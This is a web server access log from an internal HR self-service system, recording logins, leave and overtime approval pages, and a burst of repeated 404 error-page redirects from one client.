- - [02/Dec/2025:13:26:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:26:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:26:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:26:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:26:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:26:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:26:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:26:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:26:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:26:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:26:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:26:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:26:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:26:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:26:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:26:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:26:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:26:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:26:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:26:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:26:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:26:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:26:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:26:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:26:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:26:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:26:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:26:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:26:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:35:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:35:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:36:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:36:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 192.168.11.108 - - [02/Dec/2025:13:36:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:36:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:13:36:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:13:36:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702 192.168.12.64 - - [02/Dec/2025:13:37:07 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:37:07 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.12.64 - - [02/Dec/2025:13:37:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:37:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.64 - - [02/Dec/2025:13:37:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:37:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.12.64 - - [02/Dec/2025:13:37:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:37:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.12.64 - - [02/Dec/2025:13:37:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6585 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:37:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6585 192.168.12.64 - - [02/Dec/2025:13:37:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54473 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:37:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54473 192.168.12.64 - - [02/Dec/2025:13:37:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 102368 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:37:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 102368 192.168.12.64 - - [02/Dec/2025:13:38:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 58922 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:38:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 58922 192.168.12.64 - - [02/Dec/2025:13:38:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:38:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.64 - - [02/Dec/2025:13:39:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7160846301936662 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:39:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7160846301936662 HTTP/1.1" 200 55332 192.168.12.64 - - [02/Dec/2025:13:39:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7160846301936662 HTTP/1.1" 200 57509 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7160846301936662" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:39:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7160846301936662 HTTP/1.1" 200 57509 192.168.11.144 - - [02/Dec/2025:13:39:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:39:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 - 192.168.11.144 - - [02/Dec/2025:13:39:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:39:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 - 192.168.11.144 - - [02/Dec/2025:13:39:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:39:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 - 192.168.11.144 - - [02/Dec/2025:13:39:17 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:39:17 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 192.168.11.144 - - [02/Dec/2025:13:39:17 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:39:17 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 192.168.11.144 - - [02/Dec/2025:13:39:24 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:39:24 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.144 - - [02/Dec/2025:13:39:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 